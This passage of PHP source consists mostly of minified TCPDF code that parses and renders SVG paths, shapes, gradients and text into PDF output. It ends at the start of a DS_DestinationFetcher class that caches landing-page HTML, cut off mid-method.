'Max':{$svgoffset_y-=(($h*$this->k)-($oh*$this->k*$svgscale_y));break;}default:case 'Mid':{$svgoffset_y-=((($h*$this->k)-($oh*$this->k*$svgscale_y))/2);break;}}}$page_break_mode=$this->AutoPageBreak;$page_break_margin=$this->getBreakMargin();$cell_padding=$this->cell_padding;$this->SetCellPadding(0);$this->SetAutoPageBreak(false);$this->_out('q'.$this->epsmarker);$this->Rect($ximg,$y,$w,$h,'CNZ',array(),array());$e=$ox*$this->k*(1-$svgscale_x);$f=($this->h-$oy)*$this->k*(1-$svgscale_y);$this->_out(sprintf('%F %F %F %F %F %F cm',$svgscale_x,0,0,$svgscale_y,($e+$svgoffset_x),($f+$svgoffset_y)));$this->parser=xml_parser_create('UTF-8');xml_set_object($this->parser,$this);xml_parser_set_option($this->parser,XML_OPTION_CASE_FOLDING,0);xml_set_element_handler($this->parser,'startSVGElementHandler','endSVGElementHandler');xml_set_character_data_handler($this->parser,'segSVGContentHandler');if(!xml_parse($this->parser,$svgdata)){$error_message=sprintf('SVG Error: %s at line %d',xml_error_string(xml_get_error_code($this->parser)),xml_get_current_line_number($this->parser));$this->Error($error_message);}xml_parser_free($this->parser);$this->_out($this->epsmarker.'Q');$this->setGraphicVars($gvars);$this->lasth=$gvars['lasth'];if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,'',$border,0,'',0,'',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case 'T':{$this->y=$y;$this->x=$this->img_rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case 'B':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case 'N':{$this->SetY($this->img_rb_y);break;}default:{$this->x=$gvars['x'];$this->y=$gvars['y'];$this->page=$gvars['page'];$this->current_column=$gvars['current_column'];$this->tMargin=$gvars['tMargin'];$this->bMargin=$gvars['bMargin'];$this->w=$gvars['w'];$this->h=$gvars['h'];$this->wPt=$gvars['wPt'];$this->hPt=$gvars['hPt'];$this->fwPt=$gvars['fwPt'];$this->fhPt=$gvars['fhPt'];break;}}$this->endlinex=$this->img_rb_x;$this->SetAutoPageBreak($page_break_mode,$page_break_margin);$this->cell_padding=$cell_padding;} function convertSVGtMatrix($tm){$a=$tm[0];$b=-$tm[1];$c=-$tm[2];$d=$tm[3];$e=$this->getHTMLUnitToUnits($tm[4],1,$this->svgunit,false)*$this->k;$f=-$this->getHTMLUnitToUnits($tm[5],1,$this->svgunit,false)*$this->k;$x=0;$y=$this->h*$this->k;$e=($x*(1-$a))-($y*$c)+$e;$f=($y*(1-$d))-($x*$b)+$f;return array($a,$b,$c,$d,$e,$f);} function SVGTransform($tm){$this->Transform($this->convertSVGtMatrix($tm));} function SVGPath($d,$style=''){if($this->state!=2){return;}$op=TCPDF_STATIC::getPathPaintOperator($style,'');if(empty($op)){return;}$paths=array();$d=preg_replace('/([0-9ACHLMQSTVZ])([\-\+])/si',' ',$d);preg_match_all('/([ACHLMQSTVZ])[\s]*([^ACHLMQSTVZ\"]*)/si',$d,$paths,PREG_SET_ORDER);$x=0;$y=0;$x1=0;$y1=0;$x2=0;$y2=0;$xmin=2147483647;$xmax=0;$ymin=2147483647;$ymax=0;$relcoord=false;$minlen=(0.01/$this->k);$firstcmd=true;foreach($paths as $key=>$val){$cmd=trim($val[1]);if(strtolower($cmd)==$cmd){$relcoord=true;$xoffset=$x;$yoffset=$y;}else {$relcoord=false;$xoffset=0;$yoffset=0;}$params=array();if(isset($val[2])){$rawparams=preg_split('/([\,\s]+)/si',trim($val[2]));$params=array();foreach($rawparams as $ck=>$cp){$params[$ck]=$this->getHTMLUnitToUnits($cp,0,$this->svgunit,false);if(abs($params[$ck])<$minlen){$params[$ck]=0;}}}$x0=$x;$y0=$y;switch(strtoupper($cmd)){case 'M':{foreach($params as $ck=>$cp){if(($ck%2)==0){$x=$cp+$xoffset;}else {$y=$cp+$yoffset;if($firstcmd OR (abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){if($ck==1){$this->_outPoint($x,$y);$firstcmd=false;}else {$this->_outLine($x,$y);}$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'L':{foreach($params as $ck=>$cp){if(($ck%2)==0){$x=$cp+$xoffset;}else {$y=$cp+$yoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'H':{foreach($params as $ck=>$cp){$x=$cp+$xoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$xmax=max($xmax,$x);if($relcoord){$xoffset=$x;}}break;}case 'V':{foreach($params as $ck=>$cp){$y=$cp+$yoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$ymin=min($ymin,$y);$ymax=max($ymax,$y);if($relcoord){$yoffset=$y;}}break;}case 'C':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%6)==0){$x1=$params[($ck-5)]+$xoffset;$y1=$params[($ck-4)]+$yoffset;$x2=$params[($ck-3)]+$xoffset;$y2=$params[($ck-2)]+$yoffset;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$this->_outCurve($x1,$y1,$x2,$y2,$x,$y);$xmin=min($xmin,$x,$x1,$x2);$ymin=min($ymin,$y,$y1,$y2);$xmax=max($xmax,$x,$x1,$x2);$ymax=max($ymax,$y,$y1,$y2);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'S':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%4)==0){if(($key>0) AND ((strtoupper($paths[($key-1)][1])=='C') OR (strtoupper($paths[($key-1)][1])=='S'))){$x1=(2*$x)-$x2;$y1=(2*$y)-$y2;}else {$x1=$x;$y1=$y;}$x2=$params[($ck-3)]+$xoffset;$y2=$params[($ck-2)]+$yoffset;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$this->_outCurve($x1,$y1,$x2,$y2,$x,$y);$xmin=min($xmin,$x,$x1,$x2);$ymin=min($ymin,$y,$y1,$y2);$xmax=max($xmax,$x,$x1,$x2);$ymax=max($ymax,$y,$y1,$y2);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'Q':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%4)==0){$x1=$params[($ck-3)]+$xoffset;$y1=$params[($ck-2)]+$yoffset;$xa=($x+(2*$x1))/3;$ya=($y+(2*$y1))/3;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$xb=($x+(2*$x1))/3;$yb=($y+(2*$y1))/3;$this->_outCurve($xa,$ya,$xb,$yb,$x,$y);$xmin=min($xmin,$x,$xa,$xb);$ymin=min($ymin,$y,$ya,$yb);$xmax=max($xmax,$x,$xa,$xb);$ymax=max($ymax,$y,$ya,$yb);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'T':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if(($ck%2)!=0){if(($key>0) AND ((strtoupper($paths[($key-1)][1])=='Q') OR (strtoupper($paths[($key-1)][1])=='T'))){$x1=(2*$x)-$x1;$y1=(2*$y)-$y1;}else {$x1=$x;$y1=$y;}$xa=($x+(2*$x1))/3;$ya=($y+(2*$y1))/3;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$xb=($x+(2*$x1))/3;$yb=($y+(2*$y1))/3;$this->_outCurve($xa,$ya,$xb,$yb,$x,$y);$xmin=min($xmin,$x,$xa,$xb);$ymin=min($ymin,$y,$ya,$yb);$xmax=max($xmax,$x,$xa,$xb);$ymax=max($ymax,$y,$ya,$yb);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'A':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%7)==0){$x0=$x;$y0=$y;$rx=abs($params[($ck-6)]);$ry=abs($params[($ck-5)]);$ang=-$rawparams[($ck-4)];$angle=deg2rad($ang);$fa=$rawparams[($ck-3)];$fs=$rawparams[($ck-2)];$x=$params[($ck-1)]+$xoffset;$y=$params[$ck]+$yoffset;if((abs($x0-$x)<$minlen) AND (abs($y0-$y)<$minlen)){$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);}else {$cos_ang=cos($angle);$sin_ang=sin($angle);$a=(($x0-$x)/2);$b=(($y0-$y)/2);$xa=($a*$cos_ang)-($b*$sin_ang);$ya=($a*$sin_ang)+($b*$cos_ang);$rx2=$rx*$rx;$ry2=$ry*$ry;$xa2=$xa*$xa;$ya2=$ya*$ya;$delta=($xa2/$rx2)+($ya2/$ry2);if($delta>1){$rx*=sqrt($delta);$ry*=sqrt($delta);$rx2=$rx*$rx;$ry2=$ry*$ry;}$numerator=(($rx2*$ry2)-($rx2*$ya2)-($ry2*$xa2));if($numerator<0){$root=0;}else {$root=sqrt($numerator/(($rx2*$ya2)+($ry2*$xa2)));}if($fa==$fs){$root*=-1;}$cax=$root*(($rx*$ya)/$ry);$cay=-$root*(($ry*$xa)/$rx);$cx=($cax*$cos_ang)-($cay*$sin_ang)+(($x0+$x)/2);$cy=($cax*$sin_ang)+($cay*$cos_ang)+(($y0+$y)/2);$angs=TCPDF_STATIC::getVectorsAngle(1,0,(($xa-$cax)/$rx),(($cay-$ya)/$ry));$dang=TCPDF_STATIC::getVectorsAngle((($xa-$cax)/$rx),(($ya-$cay)/$ry),((-$xa-$cax)/$rx),((-$ya-$cay)/$ry));if(($fs==0) AND ($dang>0)){$dang-=(2*M_PI);}elseif(($fs==1) AND ($dang<0)){$dang+=(2*M_PI);}$angf=$angs-$dang;if((($fs==0) AND ($angs>$angf)) OR (($fs==1) AND ($angs<$angf))){$tmp=$angs;$angs=$angf;$angf=$tmp;}$angs=round(rad2deg($angs),6);$angf=round(rad2deg($angf),6);if(($angs<0) AND ($angf<0)){$angs+=360;$angf+=360;}$pie=false;if(($key==0) AND (isset($paths[($key+1)][1])) AND (trim($paths[($key+1)][1])=='z')){$pie=true;}list($axmin,$aymin,$axmax,$aymax)=$this->_outellipticalarc($cx,$cy,$rx,$ry,$ang,$angs,$angf,$pie,2,false,($fs==0),true);$xmin=min($xmin,$x,$axmin);$ymin=min($ymin,$y,$aymin);$xmax=max($xmax,$x,$axmax);$ymax=max($ymax,$y,$aymax);}if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'Z':{$this->_out('h');break;}}$firstcmd=false;}if(!empty($op)){$this->_out($op);}return array($xmin,$ymin,($xmax-$xmin),($ymax-$ymin));} function removeTagNamespace($name){if(strpos($name,':')!==false){$parts=explode(':',$name);return $parts[(sizeof($parts)-1)];}return $name;} function startSVGElementHandler($parser,$name,$attribs,$ctm=array()){$name=$this->removeTagNamespace($name);if($this->svgclipmode){$this->svgclippaths[$this->svgclipid][]=array('name'=>$name,'attribs'=>$attribs,'tm'=>$this->svgcliptm[$this->svgclipid]);return;}if($this->svgdefsmode AND !in_array($name,array('clipPath','linearGradient','radialGradient','stop'))){if(isset($attribs['id'])){$attribs['child_elements']=array();$this->svgdefs[$attribs['id']]=array('name'=>$name,'attribs'=>$attribs);return;}if(end($this->svgdefs)!==FALSE){$last_svgdefs_id=key($this->svgdefs);if(isset($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'])){$attribs['id']='DF_'.(count($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'])+1);$this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'][$attribs['id']]=array('name'=>$name,'attribs'=>$attribs);return;}}return;}$clipping=false;if($parser=='clip-path'){$clipping=true;}$prev_svgstyle=$this->svgstyles[max(0,(count($this->svgstyles)-1))];$svgstyle=$this->svgstyles[0];if($clipping AND !isset($attribs['fill']) AND (!isset($attribs['style']) OR (!preg_match('/[;\"\s]{1}fill[\s]*:[\s]*([^;\"]*)/si',$attribs['style'],$attrval)))){$attribs['fill']='none';}if(isset($attribs['style']) AND !TCPDF_STATIC::empty_string($attribs['style']) AND ($attribs['style'][0]!=';')){$attribs['style']=';'.$attribs['style'];}foreach($prev_svgstyle as $key=>$val){if(in_array($key,TCPDF_IMAGES::$svginheritprop)){$svgstyle[$key]=$val;}if(isset($attribs[$key]) AND !TCPDF_STATIC::empty_string($attribs[$key])){if($attribs[$key]=='inherit'){$svgstyle[$key]=$val;}else {$svgstyle[$key]=$attribs[$key];}}elseif(isset($attribs['style']) AND !TCPDF_STATIC::empty_string($attribs['style'])){$attrval=array();if(preg_match('/[;\"\s]{1}'.$key.'[\s]*:[\s]*([^;\"]*)/si',$attribs['style'],$attrval) AND isset($attrval[1])){if($attrval[1]=='inherit'){$svgstyle[$key]=$val;}else {$svgstyle[$key]=$attrval[1];}}}}if(!empty($ctm)){$tm=$ctm;}else {$tm=array(1,0,0,1,0,0);}if(isset($attribs['transform']) AND !empty($attribs['transform'])){$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,TCPDF_STATIC::getSVGTransformMatrix($attribs['transform']));}$svgstyle['transfmatrix']=$tm;$invisible=false;if(($svgstyle['visibility']=='hidden') OR ($svgstyle['visibility']=='collapse') OR ($svgstyle['display']=='none')){$invisible=true;}switch($name){case 'defs':{$this->svgdefsmode=true;break;}case 'clipPath':{if($invisible){break;}$this->svgclipmode=true;if(!isset($attribs['id'])){$attribs['id']='CP_'.(count($this->svgcliptm)+1);}$this->svgclipid=$attribs['id'];$this->svgclippaths[$this->svgclipid]=array();$this->svgcliptm[$this->svgclipid]=$tm;break;}case 'g':{array_push($this->svgstyles,$svgstyle);$this->StartTransform();$x=(isset($attribs['x'])?$attribs['x']:0);$y=(isset($attribs['y'])?$attribs['y']:0);$w=1;$h=1;$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,array($w,0,0,$h,$x,$y));$this->SVGTransform($tm);$this->setSVGStyles($svgstyle,$prev_svgstyle);break;}case 'linearGradient':{if($this->pdfa_mode){break;}if(!isset($attribs['id'])){$attribs['id']='GR_'.(count($this->svggradients)+1);}$this->svggradientid=$attribs['id'];$this->svggradients[$this->svggradientid]=array();$this->svggradients[$this->svggradientid]['type']=2;$this->svggradients[$this->svggradientid]['stops']=array();if(isset($attribs['gradientUnits'])){$this->svggradients[$this->svggradientid]['gradientUnits']=$attribs['gradientUnits'];}else {$this->svggradients[$this->svggradientid]['gradientUnits']='objectBoundingBox';}if(((!isset($attribs['x1'])) AND (!isset($attribs['y1'])) AND (!isset($attribs['x2'])) AND (!isset($attribs['y2']))) OR ((isset($attribs['x1']) AND (substr($attribs['x1'],-1)=='%')) OR (isset($attribs['y1']) AND (substr($attribs['y1'],-1)=='%')) OR (isset($attribs['x2']) AND (substr($attribs['x2'],-1)=='%')) OR (isset($attribs['y2']) AND (substr($attribs['y2'],-1)=='%')))){$this->svggradients[$this->svggradientid]['mode']='percentage';}else {$this->svggradients[$this->svggradientid]['mode']='measure';}$x1=(isset($attribs['x1'])?$attribs['x1']:'0');$y1=(isset($attribs['y1'])?$attribs['y1']:'0');$x2=(isset($attribs['x2'])?$attribs['x2']:'100');$y2=(isset($attribs['y2'])?$attribs['y2']:'0');if(isset($attribs['gradientTransform'])){$this->svggradients[$this->svggradientid]['gradientTransform']=TCPDF_STATIC::getSVGTransformMatrix($attribs['gradientTransform']);}$this->svggradients[$this->svggradientid]['coords']=array($x1,$y1,$x2,$y2);if(isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])){$this->svggradients[$this->svggradientid]['xref']=substr($attribs['xlink:href'],1);}break;}case 'radialGradient':{if($this->pdfa_mode){break;}if(!isset($attribs['id'])){$attribs['id']='GR_'.(count($this->svggradients)+1);}$this->svggradientid=$attribs['id'];$this->svggradients[$this->svggradientid]=array();$this->svggradients[$this->svggradientid]['type']=3;$this->svggradients[$this->svggradientid]['stops']=array();if(isset($attribs['gradientUnits'])){$this->svggradients[$this->svggradientid]['gradientUnits']=$attribs['gradientUnits'];}else {$this->svggradients[$this->svggradientid]['gradientUnits']='objectBoundingBox';}if(((!isset($attribs['cx'])) AND (!isset($attribs['cy']))) OR ((isset($attribs['cx']) AND (substr($attribs['cx'],-1)=='%')) OR (isset($attribs['cy']) AND (substr($attribs['cy'],-1)=='%')))){$this->svggradients[$this->svggradientid]['mode']='percentage';}elseif(isset($attribs['r']) AND is_numeric($attribs['r']) AND ($attribs['r'])<=1){$this->svggradients[$this->svggradientid]['mode']='ratio';}else {$this->svggradients[$this->svggradientid]['mode']='measure';}$cx=(isset($attribs['cx'])?$attribs['cx']:0.5);$cy=(isset($attribs['cy'])?$attribs['cy']:0.5);$fx=(isset($attribs['fx'])?$attribs['fx']:$cx);$fy=(isset($attribs['fy'])?$attribs['fy']:$cy);$r=(isset($attribs['r'])?$attribs['r']:0.5);if(isset($attribs['gradientTransform'])){$this->svggradients[$this->svggradientid]['gradientTransform']=TCPDF_STATIC::getSVGTransformMatrix($attribs['gradientTransform']);}$this->svggradients[$this->svggradientid]['coords']=array($cx,$cy,$fx,$fy,$r);if(isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])){$this->svggradients[$this->svggradientid]['xref']=substr($attribs['xlink:href'],1);}break;}case 'stop':{if(substr($attribs['offset'],-1)=='%'){$offset=floatval(substr($attribs['offset'],-1))/100;}else {$offset=floatval($attribs['offset']);if($offset>1){$offset/=100;}}$stop_color=isset($svgstyle['stop-color'])?TCPDF_COLORS::convertHTMLColorToDec($svgstyle['stop-color'],$this->spot_colors):'black';$opacity=isset($svgstyle['stop-opacity'])?$svgstyle['stop-opacity']:1;$this->svggradients[$this->svggradientid]['stops'][]=array('offset'=>$offset,'color'=>$stop_color,'opacity'=>$opacity);break;}case 'path':{if($invisible){break;}if(isset($attribs['d'])){$d=trim($attribs['d']);if(!empty($d)){$x=(isset($attribs['x'])?$attribs['x']:0);$y=(isset($attribs['y'])?$attribs['y']:0);$w=(isset($attribs['width'])?$attribs['width']:1);$h=(isset($attribs['height'])?$attribs['height']:1);$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,array($w,0,0,$h,$x,$y));if($clipping){$this->SVGTransform($tm);$this->SVGPath($d,'CNZ');}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'SVGPath',array($d,'CNZ'));if(!empty($obstyle)){$this->SVGPath($d,$obstyle);}$this->StopTransform();}}}break;}case 'rect':{if($invisible){break;}$x=(isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false):0);$y=(isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false):0);$w=(isset($attribs['width'])?$this->getHTMLUnitToUnits($attribs['width'],0,$this->svgunit,false):0);$h=(isset($attribs['height'])?$this->getHTMLUnitToUnits($attribs['height'],0,$this->svgunit,false):0);$rx=(isset($attribs['rx'])?$this->getHTMLUnitToUnits($attribs['rx'],0,$this->svgunit,false):0);$ry=(isset($attribs['ry'])?$this->getHTMLUnitToUnits($attribs['ry'],0,$this->svgunit,false):$rx);if($clipping){$this->SVGTransform($tm);$this->RoundedRectXY($x,$y,$w,$h,$rx,$ry,'1111','CNZ',array(),array());}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'RoundedRectXY',array($x,$y,$w,$h,$rx,$ry,'1111','CNZ'));if(!empty($obstyle)){$this->RoundedRectXY($x,$y,$w,$h,$rx,$ry,'1111',$obstyle,array(),array());}$this->StopTransform();}break;}case 'circle':{if($invisible){break;}$r=(isset($attribs['r'])?$this->getHTMLUnitToUnits($attribs['r'],0,$this->svgunit,false):0);$cx=(isset($attribs['cx'])?$this->getHTMLUnitToUnits($attribs['cx'],0,$this->svgunit,false):(isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false):0));$cy=(isset($attribs['cy'])?$this->getHTMLUnitToUnits($attribs['cy'],0,$this->svgunit,false):(isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false):0));$x=($cx-$r);$y=($cy-$r);$w=(2*$r);$h=$w;if($clipping){$this->SVGTransform($tm);$this->Circle($cx,$cy,$r,0,360,'CNZ',array(),array(),8);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Circle',array($cx,$cy,$r,0,360,'CNZ'));if(!empty($obstyle)){$this->Circle($cx,$cy,$r,0,360,$obstyle,array(),array(),8);}$this->StopTransform();}break;}case 'ellipse':{if($invisible){break;}$rx=(isset($attribs['rx'])?$this->getHTMLUnitToUnits($attribs['rx'],0,$this->svgunit,false):0);$ry=(isset($attribs['ry'])?$this->getHTMLUnitToUnits($attribs['ry'],0,$this->svgunit,false):0);$cx=(isset($attribs['cx'])?$this->getHTMLUnitToUnits($attribs['cx'],0,$this->svgunit,false):(isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false):0));$cy=(isset($attribs['cy'])?$this->getHTMLUnitToUnits($attribs['cy'],0,$this->svgunit,false):(isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false):0));$x=($cx-$rx);$y=($cy-$ry);$w=(2*$rx);$h=(2*$ry);if($clipping){$this->SVGTransform($tm);$this->Ellipse($cx,$cy,$rx,$ry,0,0,360,'CNZ',array(),array(),8);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Ellipse',array($cx,$cy,$rx,$ry,0,0,360,'CNZ'));if(!empty($obstyle)){$this->Ellipse($cx,$cy,$rx,$ry,0,0,360,$obstyle,array(),array(),8);}$this->StopTransform();}break;}case 'line':{if($invisible){break;}$x1=(isset($attribs['x1'])?$this->getHTMLUnitToUnits($attribs['x1'],0,$this->svgunit,false):0);$y1=(isset($attribs['y1'])?$this->getHTMLUnitToUnits($attribs['y1'],0,$this->svgunit,false):0);$x2=(isset($attribs['x2'])?$this->getHTMLUnitToUnits($attribs['x2'],0,$this->svgunit,false):0);$y2=(isset($attribs['y2'])?$this->getHTMLUnitToUnits($attribs['y2'],0,$this->svgunit,false):0);$x=$x1;$y=$y1;$w=abs($x2-$x1);$h=abs($y2-$y1);if(!$clipping){$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Line',array($x1,$y1,$x2,$y2));$this->Line($x1,$y1,$x2,$y2);$this->StopTransform();}break;}case 'polyline':case 'polygon':{if($invisible){break;}$points=(isset($attribs['points'])?$attribs['points']:'0 0');$points=trim($points);$points=preg_split('/[\,\s]+/si',$points);if(count($points)<4){break;}$p=array();$xmin=2147483647;$xmax=0;$ymin=2147483647;$ymax=0;foreach($points as $key=>$val){$p[$key]=$this->getHTMLUnitToUnits($val,0,$this->svgunit,false);if(($key%2)==0){$xmin=min($xmin,$p[$key]);$xmax=max($xmax,$p[$key]);}else {$ymin=min($ymin,$p[$key]);$ymax=max($ymax,$p[$key]);}}$x=$xmin;$y=$ymin;$w=($xmax-$xmin);$h=($ymax-$ymin);if($name=='polyline'){$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'PolyLine',array($p,'CNZ'));if(!empty($obstyle)){$this->PolyLine($p,$obstyle,array(),array());}$this->StopTransform();}else {if($clipping){$this->SVGTransform($tm);$this->Polygon($p,'CNZ',array(),array(),true);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Polygon',array($p,'CNZ'));if(!empty($obstyle)){$this->Polygon($p,$obstyle,array(),array(),true);}$this->StopTransform();}}break;}case 'text':case 'tspan':{if(isset($this->svgtextmode['text-anchor']) AND !empty($this->svgtext)){}$this->svgtextmode['invisible']=$invisible;if($invisible){break;}array_push($this->svgstyles,$svgstyle);if(isset($attribs['x'])){$x=$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false);}elseif($name=='tspan'){$x=$this->x;}else {$x=0;}if(isset($attribs['dx'])){$x+=$this->getHTMLUnitToUnits($attribs['dx'],0,$this->svgunit,false);}if(isset($attribs['y'])){$y=$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false);}elseif($name=='tspan'){$y=$this->y;}else {$y=0;}if(isset($attribs['dy'])){$y+=$this->getHTMLUnitToUnits($attribs['dy'],0,$this->svgunit,false);}$svgstyle['text-color']=$svgstyle['fill'];$this->svgtext='';if(isset($svgstyle['text-anchor'])){$this->svgtextmode['text-anchor']=$svgstyle['text-anchor'];}else {$this->svgtextmode['text-anchor']='start';}if(isset($svgstyle['direction'])){if($svgstyle['direction']=='rtl'){$this->svgtextmode['rtl']=true;}else {$this->svgtextmode['rtl']=false;}}else {$this->svgtextmode['rtl']=false;}if(isset($svgstyle['stroke']) AND ($svgstyle['stroke']!='none') AND isset($svgstyle['stroke-width']) AND ($svgstyle['stroke-width']>0)){$this->svgtextmode['stroke']=$this->getHTMLUnitToUnits($svgstyle['stroke-width'],0,$this->svgunit,false);}else {$this->svgtextmode['stroke']=false;}$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,1,1);$this->x=$x;$this->y=$y;break;}case 'use':{if(isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])){$svgdefid=substr($attribs['xlink:href'],1);if(isset($this->svgdefs[$svgdefid])){$use=$this->svgdefs[$svgdefid];if(isset($attribs['xlink:href'])){unset($attribs['xlink:href']);}if(isset($attribs['id'])){unset($attribs['id']);}if(isset($use['attribs']['x']) AND isset($attribs['x'])){$attribs['x']+=$use['attribs']['x'];}if(isset($use['attribs']['y']) AND isset($attribs['y'])){$attribs['y']+=$use['attribs']['y'];}if(empty($attribs['style'])){$attribs['style']='';}if(!empty($use['attribs']['style'])){$attribs['style']=str_replace(';;',';',';'.$use['attribs']['style'].$attribs['style']);}$attribs=array_merge($use['attribs'],$attribs);$this->startSVGElementHandler($parser,$use['name'],$attribs);return;}}break;}default:{break;}}if(!empty($attribs['child_elements'])){$child_elements=$attribs['child_elements'];unset($attribs['child_elements']);foreach($child_elements as $child_element){if(empty($child_element['attribs']['closing_tag'])){$this->startSVGElementHandler('child-tag',$child_element['name'],$child_element['attribs']);}else {if(isset($child_element['attribs']['content'])){$this->svgtext=$child_element['attribs']['content'];}$this->endSVGElementHandler('child-tag',$child_element['name']);}}}} function endSVGElementHandler($parser,$name){$name=$this->removeTagNamespace($name);if($this->svgdefsmode AND !in_array($name,array('defs','clipPath','linearGradient','radialGradient','stop'))){;if(end($this->svgdefs)!==FALSE){$last_svgdefs_id=key($this->svgdefs);if(isset($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'])){foreach($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'] as $child_element){if(isset($child_element['attribs']['id']) AND ($child_element['name']==$name)){$this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'][$child_element['attribs']['id'].'_CLOSE']=array('name'=>$name,'attribs'=>array('closing_tag'=>TRUE,'content'=>$this->svgtext));return;}}if($this->svgdefs[$last_svgdefs_id]['name']==$name){$this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'][$last_svgdefs_id.'_CLOSE']=array('name'=>$name,'attribs'=>array('closing_tag'=>TRUE,'content'=>$this->svgtext));return;}}}return;}switch($name){case 'defs':{$this->svgdefsmode=false;break;}case 'clipPath':{$this->svgclipmode=false;break;}case 'svg':{if(--$this->svg_tag_depth<=0){break;}}case 'g':{array_pop($this->svgstyles);$this->StopTransform();break;}case 'text':case 'tspan':{if($this->svgtextmode['invisible']){break;}$text=$this->svgtext;$textlen=$this->GetStringWidth($text);if($this->svgtextmode['text-anchor']!='start'){if($this->svgtextmode['text-anchor']=='end'){if($this->svgtextmode['rtl']){$this->x+=$textlen;}else {$this->x-=$textlen;}}elseif($this->svgtextmode['text-anchor']=='middle'){if($this->svgtextmode['rtl']){$this->x+=($textlen/2);}else {$this->x-=($textlen/2);}}}$textrendermode=$this->textrendermode;$textstrokewidth=$this->textstrokewidth;$this->setTextRenderingMode($this->svgtextmode['stroke'],true,false);if($name=='text'){$tmpx=$this->x;$tmpy=$this->y;}$this->Cell($textlen,0,$text,0,0,'',false,'',0,false,'L','T');if($name=='text'){$this->x=$tmpx;$this->y=$tmpy;}$this->textrendermode=$textrendermode;$this->textstrokewidth=$textstrokewidth;$this->svgtext='';$this->StopTransform();if(!$this->svgdefsmode){array_pop($this->svgstyles);}break;}default:{break;}}} function segSVGContentHandler($parser,$data){$this->svgtext.=$data;}}
class DS_DestinationFetcher
{
/** @var DS_Browser */
var $browser;
/** @var DS_CacheWriter */
var $cache;
function __construct($browser, $cache)
{
$this->browser = $browser;
$this->cache = $cache;
}
function getHtml($url)
{
$cacheFile = "landing:".$url;
$ageFile = "age:".$url;
$age = time() - $this->cache->read($ageFile, 0);
if ($age > 3600) {
